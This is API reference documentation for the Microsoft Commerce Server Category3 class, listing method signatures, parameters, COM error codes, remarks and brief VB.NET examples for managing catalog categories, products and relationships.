[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddRelationshipToProduct(
  varRelatedProductID As Object,
  strRelationshipName As String,
  Optional strRelationshipDescription As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddRelationshipToProduct(
  object varRelatedProductID,
  string strRelationshipName,
  object strRelationshipDescription
);

Parameters

[Visual Basic .NET]
varRelatedProductID
An Object that contains the ID of the related product.
strRelationshipName
A String that contains a name for the relationship.
strRelationshipDescription
An Object that contains an optional description for the relationship.
[C#]
varRelatedProductID
An object that contains the ID of the related product.
strRelationshipName
A string that contains a name for the relationship.
strRelationshipDescription
An object that contains an optional description for the relationship. Set to Type.Missing to specify no description.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &H889800F8 | This API cannot be called for a root category.
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &H88980063 | The catalog Name you specified is invalid. Catalog names cannot be blank
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_RELATION_NAME | [C#] 0x88980054 [Visual Basic .NET] &H88980054 | The value you specified for the relationship name is blank or exceeds 128 characters. Relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_PRODUCTID | [C#] 0x8898005B [Visual Basic .NET] &H8898005B | The value you specified for the ProductID is blank or else it exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C#] 0x8898004E [Visual Basic .NET] &H8898004E | The value you specified for the ProductID is either out of range or does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_RELATION_DESC | [C#] 0x88980055 [Visual Basic .NET] &H88980055 | The value you specified for the relationship description exceeds 256 characters. Relationship description should be less than or equal to 256 characters.
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified doesn't exist.
E_CAT_INVALID_RELATION | [C#] 0x88980039 [Visual Basic .NET] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_VC_CANT_EDIT_INCLUDED_RELATIONSHIP | [C#] 0x8898011B [Visual Basic .NET] &H8898011B | A virtual catalog’s included relationships cannot be directly edited. Instead, they can be edited only in the base catalog context.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

In order for this method to complete successfully, the product identified must already exist.

When multiple relationships are created between a category and product, each relationship must have a unique name.

[Visual Basic .NET]

Example

myCategory.AddRelationshipToProduct("SKU4005", "Accessory", _
  "This would go great with that")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category3 Object

Category3.RemoveRelationshipToProduct


Category3.RemoveChildCategory Method (PIA)

Use this method to remove a category that is a child of this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemoveChildCategory(
  strCategoryName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemoveChildCategory(
  string strCategoryName
);

Parameters

[Visual Basic .NET]
strCategoryName
A String that contains the name of the category to be removed as a child of this category.
[C#]
strCategoryName
A string that contains the name of the category to be removed as a child of this category.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified doesn't exist.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

Use the RemoveChildCategory method to remove a child category from this category. If the category named in the strCategoryName parameter does not exist, then this method will fail.

[Visual Basic .NET]

Example

myCategory.RemoveChildCategory("T-Shirts")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category3.AddChildCategory

Category3.RemoveParentCategory


Category3.RemoveParentCategory Method (PIA)

Use this method to remove the specified category as a parent of this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemoveParentCategory(
  strCategoryName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemoveParentCategory(
  string strCategoryName
);

Parameters

[Visual Basic .NET]
strCategoryName
A String that contains the name of the category to be removed as a parent of this category.
[C#]
strCategoryName
A string that contains the name of the category to be removed as a parent of this category.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified doesn't exist.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

Use the RemoveParentCategory method to remove a parent category from this category. If the category named in the strCategoryName parameter does not exist, then this method will fail.

[Visual Basic .NET]

Example

myCategory.RemoveParentCategory("Apparel")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category3.AddParentCategory

Category3.RemoveChildCategory


Category3.RemoveProduct Method (PIA)

Use this method to remove a product from this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemoveProduct(
  varProductID As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemoveProduct(
  object varProductID
);

Parameters

[Visual Basic .NET]
varProductID
An Object that contains the product ID.
[C#]
varProductID
An object that contains the product ID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_PRODUCTID | [C#] 0x8898005B [Visual Basic .NET] &H8898005B | The value you specified for the ProductID is blank or else it exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C#] 0x8898004E [Visual Basic .NET] &H8898004E | The value you specified for the ProductID is either out of range or else it does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified doesn't exist.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.
[Visual Basic .NET]

Example

myCategory.RemoveProduct("Widget")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category3.AddProduct


Category3.RemoveRelationshipToCategory Method (PIA)

Use this method to remove a relationship between the specified category and this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemoveRelationshipToCategory(
  strRelatedCategoryName As String,
  strRelationshipName As String
  strCatalogName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemoveRelationshipToCategory(
  string strRelatedCategoryName,
  string strRelationshipName
  string strCatalogName
);

Parameters

[Visual Basic .NET]
strRelatedCategoryName
A String that contains the name of the related category.
strRelationshipName
A String that contains the name of the relationship.
strCatalogName
A String that contains the name of the catalog containing the related category.
[C#]
strRelatedCategoryName
A string that contains the name of the related category.
strRelationshipName
A string that contains the name of the relationship.
strCatalogName
A string that contains the name of the catalog containing the related category.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &H88980063 | The catalog Name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_RELATION_NAME | [C#] 0x88980054 [Visual Basic .NET] &H88980054 | The value you specified for the relationship name is blank or exceeds 128 characters. relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified doesn't exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified doesn't exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C#] 0x88980045 [Visual Basic .NET] &H88980045 | The relationship that you specified either does not exist or is a inherited relationship, and therefore cannot be edited.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

The RemoveRelationshipToCategory method removes a relationship between this category and the category named in the strRelatedCategoryName parameter. Because more than one relationship may exist between these two categories, you must also specify the name of the relationship you wish to remove in the strRelationshipName parameter. If the category specified as the strRelatedCategoryName parameter does not exist or the relationship specified as the strRelationshipName parameter does not exist, then this method will fail.

[Visual Basic .NET]

Example

myCategory.RemoveRelationshipToCategory("Gadget", "Accessory", "myCat")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category3.AddRelationshipToCategory

Category3.RemoveRelationshipToProduct


Category3.RemoveRelationshipToProduct Method (PIA)

Use this method to remove a relationship between the specified product and this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemoveRelationshipToProduct(
  varRelatedProductID As Object,
  strRelationshipName As String,
  strCatalogName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemoveRelationshipToProduct(
  object varRelatedProductID,
  string strRelationshipName,
  string strCatalogName
);

Parameters

[Visual Basic .NET]
varRelatedProductID
An Object that contains the ID of the related product.
strRelationshipName
A String that contains the name of the relationship.
strCatalogName
A String that contains the name of the catalog containing the name of the related product.
[C#]
varRelatedProductID
An object that contains the ID of the related product.
strRelationshipName
A string that contains the name of the relationship.
strCatalogName
A string that contains the name of the catalog containing the name of the related product.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &H88980063 | The catalog name you specified is invalid. catalog names cannot be blank
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_PRODUCTID | [C#] 0x8898005B [Visual Basic .NET] &H8898005B | The value you specified for the ProductID is blank or else it exceeds the maximum allowed length of 256 characters.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_INVALID_RELATION_NAME | [C#] 0x88980054 [Visual Basic .NET] &H88980054 | The value you specified for the relationship name is blank or exceeds 128 characters. Relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified doesn't exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified doesn't exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C#] 0x88980045 [Visual Basic .NET] &H88980045 | The relationship that you specified either does not exist or is a inherited relationship, and therefore cannot be edited.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

The RemoveRelationshipToProduct method removes a relationship between this category and the product identified by the varRelatedProductID parameter. Because more than one relationship may exist between this category and product, you must also specify the name of the relationship you wish to remove in the strRelationshipName parameter. If the product specified as the varRelatedProductID parameter does not exist or the relationship specified as the strRelationshipName parameter does not exist, then this method will fail.

[Visual Basic .NET]

Example

myCategory.RemoveRelationshipToProduct("Gadget", "FeaturedProduct")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category3.AddRelationshipToProduct


Category3.Search Method (PIA)

Use this method to perform queries against product, variant, and category data in this category, and, optionally, the child categories for this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Public Function Search(
  Optional strSQLClause As Object,
  Optional strFTSPhrase As Object,
  Optional fRecursive As Boolean,
  Optional eClassTypeRequired As Object,
  Optional strPropertiesToReturn As Object,
  Optional strPropertyToSortOn As Object,
  Optional fSortAscending As Boolean,
  Optional lStartingRecord As Object,
  Optional lRecordsToRetrieve As Object,
  Optional plTotalRecordsInQuery As Object
) As Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
Public _Recordset Search(
  object strSQLClause,
  object strFTSPhrase,
  bool fRecursive,
  object eClassTypeRequired,
  object strPropertiesToReturn,
  object strPropertyToSortOn,
  bool fSortAscending,
  object lStartingRecord,
  object lRecordsToRetrieve,
  object plTotalRecordsInQuery,
);

Parameters

[Visual Basic .NET]
strSQLClause
An Object that contains the SQL search query.
strFTSPhrase
An Object that contains the free-text search phrase.
fRecursive
A Boolean that specifies whether the query is recursive, that is, whether the scope of the query includes child categories. A value of True indicates that the query is recursive. A value of False indicates that the query is not recursive. The default value is True.
eClassTypeRequired
An Object that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
strPropertiesToReturn
An Object that contains the properties to return as a comma-separated list.
strPropertyToSortOn
An Object that contains the property on which to sort. This must be a property in the returned recordset.
fSortAscending
A Boolean that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order. The default value is True.
lStartingRecord
An Object that contains the starting record to retrieve. A value of one (1) indicates the first record.
lRecordsToRetrieve
An Object that contains the number of records to retrieve, beginning from the starting record. A value of minus one (-1) indicates return all records.
plTotalRecordsInQuery
An Object used to return the total number of records matching the query.
[C#]
strSQLClause
An object that contains the SQL search query.
strFTSPhrase
An object that contains the free-text search phrase.
fRecursive
A bool that specifies whether the query is recursive, that is, whether the scope of the query includes child categories. A value of True indicates that the query is recursive. A value of False indicates that the query is not recursive. The default value is True.
eClassTypeRequired
An object that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
strPropertiesToReturn
An object that contains the properties to return as a comma-separated list.
strPropertyToSortOn
An object that contains the property on which to sort. This must be a property in the returned recordset.
fSortAscending
An bool that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order. The default value is True.
lStartingRecord
An object that contains the starting record to retrieve. A value of one (1) indicates the first record.
lRecordsToRetrieve
An object that contains the number of records to retrieve, beginning from the starting record. A value of minus one (-1) indicates return all records.
plTotalRecordsInQuery
An object used to return the total number of records matching the query.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a _Recordset interface to a Recordset that contains the results of your query.

[C#] This method returns a _Recordset interface to a Recordset object used to contain the results of your query.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid
E_CAT_INVALID_SEARCH_CLAUSE | [C#] 0x8898011C [Visual Basic .NET] &H8898011C | The search condition that you specified is invalid for one of the following reasons: It contains -- or /* which should not be used outside of property names and property values The parentheses in the search condition do not match in number or alignment.
E_CAT_INVALID_RETURN_PROPS | [C#] 0x8898011D [Visual Basic .NET] &H8898011D | The properties to return that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
E_CAT_INVALID_SORT_PROPS | [C#] 0x8898011E [Visual Basic .NET] &H8898011E | The properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.

Remarks

This method is very similar to the CatalogManager3.Query method. The primary difference is that this method returns results limited to a single category, and, optionally the child categories for this category. Multilingual results will be returned in the language specified by the ProductCatalog3::get_Language method of the catalog that contains this category.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class


Category3.SetCategoryProperties Method

Use this method to set values for the properties of this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODBLib26     ‘ for _Recordset
…
Public Sub SetCategoryProperties(
  pRSCategory As _Recordset,
  Optional fForceUpdate As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public void SetCategoryProperties(
  _Recordset pRSCategory,
  object fForceUpdate
);

Parameters

[Visual Basic .NET]
pRSCategory
The _Recordset interface of a Recordset object that contains the properties for this category.
fForceUpdate
An Object that causes a forced update of the category properties.
[C#]
pRSCategory
A _Recordset interface to a Recordset object that contains the properties for this category.
fForceUpdate
An object that causes a forced update of the category properties. Set to Type.Missing to enforce the default behavior.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_VC_CANT_EDIT_INCLUDED_CATEGORY | [C#] 0x88980105 [Visual Basic .NET] &H88980105 | A virtual catalog’s included categories cannot be directly edited. Instead, they can be edited only in the base catalog context.
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &Hx889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified doesn't exist.
E_CAT_CATEGORY_CHANGED | [C#] 0x88980028 [Visual Basic .NET] &H88980028 | The category has been changed since it was last read.
E_CAT_INVALID_PROPERTY_VALUE | [C#] 0x889800B4 [Visual Basic .NET] &H889800B4 | The value <value> specified for the property <property name>does not satisfy the Minimum or Maximum constraints defined for the property. For string properties, the specified value should be between the minimum and maximum lengths defined for the property. For numeric properties, the specified value should be between minium and maximum values. For enumeration properties, the specified value should be one of the valid values defined for the property.
E_CAT_NULL_PRICE_NOT_ALLOWED | [C#] 0x8898003F [Visual Basic .NET] &H8898003F | The list price for this category cannot be blank as this category is being used as a pricing category by other products in the catalog.

Remarks

Use the SetCategoryProperties method to modify the properties of a category. The pRSCategory parameter specifies a _Recordset interface to a Recordset object that describes the new property values for this category. Use the _Recordset interface to a Recordset object returned by the GetCategoryProperties method so that its timestamp can be compared for error checking.

If the fForceUpdate parameter is set to false, and the property values in the pRSCategory parameter have changed, the method will fail.

This method will not update the built-in fields in the catalog. If this category is being used as a pricing category, then this method will update the price of all the products using this category as the pricing category.

The category name returned in this recordset will not contain the appended catalog name.

[Visual Basic .NET]

Example

myCategory.SetCategoryProperties(pRSCategory, "True")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class


Category3.SetRelatedProducts Method (PIA)

Use this method to update product relationships.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Sub SetRelatedProducts(
  pRSRelatedProducts As Recordset
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;

using ADODB26Lib; //For _Recordset

…
public void SetRelatedProducts(
  _Recordset* pRSRelatedProducts
);

Parameters

[Visual Basic .NET]
pRSRelatedProducts
A Recordset object that contains the related products.
[C#]
pRSRelatedProducts
A _Recordset object that contains the related products.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &H889800F8 | This API cannot be called for a root category.
E_POINTER | [C#] 0x80004003 [Visual Basic .NET] &H80004003 | Invalid pointer.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified doesn't exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C#] 0x88980045 [Visual Basic .NET] &H88980045 | The relationship that you specified either does not exist or is a inherited relationship (and therefore cannot be edited).
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

The recordset used for the pRSRelatedProducts parameter should be obtained from the get_RelatedProducts method.

Only the RelationshipDescription field should be updated. Other changes should be made by using the RemoveRelationshipToProduct and AddRelationshipToProduct methods.

You can update multiple records in the same call to this method.

When calling this method on an inherited category in a virtual catalog, the method will have no effect if the relationship is inherited from a base catalog. If the relationship was added in the virtual catalog, changes will be updated. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships, use a Category object obtained from the base Catalog object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class


Category3.SetRelatedCategories Method (PIA)

Use this method to update category relationships.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Sub SetRelatedCategories(
  pRSRelatedCategories As Recordset
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;

using ADODB26Lib; //For _Recordset

…
public void SetRelatedCategories(
  _Recordset pRSRelatedCategories
);

Parameters

[Visual Basic .NET]
pRSRelatedCategories
A Recordset object that contains the related categories.
[C#]
pRSRelatedCategories
A Recordset object that contains the related categories.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_POINTER | [C#] 0x80004003 [Visual Basic .NET] &H80004003 | Invalid pointer.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified doesn't exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C#] 0x88980045 [Visual Basic .NET] &H88980045 | The relationship that you specified either does not exist or is a inherited relationship, and therefore cannot be edited.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

The recordset used for the pRSRelatedCategories parameter should be obtained from the get_RelatedCategories method.

Only the RelationshipDescription field should be updated. Other changes should be made by using the RemoveRelationshipToCategory and AddRelationshipToCategory methods.

You can update multiple records in the same call to this method.

When calling this method on an inherited category in a virtual catalog, the method will have no effect if the relationship is inherited from a base catalog. If the relationship was added in the virtual catalog, changes will be updated. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships, use a Category object obtained from the base Catalog object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class


Category3 Properties (PIA)

Properties

Property | Type | Description
AncestorCategories | ADODB26Lib._Recordset | Contains a recordset of category names that exist anywhere above this category, and that directly or indirectly contain this category, in the hierarchy. This property is read-only.
CatalogName | String | Contains the name of the catalog of which this Category object is a member. This property is read-only.
CategoryName | String | Contains the name of this category. This property is read-only.
ChildCategories | ADODB26Lib._Recordset | Contains a recordset containing the child Category objects for this category. This property is read-only.
DescendantProducts | ADODB26Lib._Recordset | Contains all products that exist anywhere below this category. Accessing this property on the root category returns every product in the entire catalog. This property is read-only.
GetCategoryProperties | ADODB26Lib._Recordset | Contains a recordset containing the property values for this category. This property is read-only.
ParentCategories | ADODB26Lib._Recordset | Contains a recordset containing the names of the Category objects that are parent categories to this category. This property is read-only.
PrimaryParent | BSTR | Contains the primary parent category of this category. This property is read/write.
Products | ADODB26Lib._Recordset | Contains the products that exist within this category, but not within descendant categories. This property is read-only.
RelatedCategories | ADODB26Lib._Recordset | Contains a recordset that describes all of the categories and product families that have relationships to this category. This property is read-only.
RelatedProducts | ADODB26Lib._Recordset | Contains a recordset that describes all the product variants and product families that have relationships to this category. This property is read-only.


Category3.AncestorCategories Property (PIA)

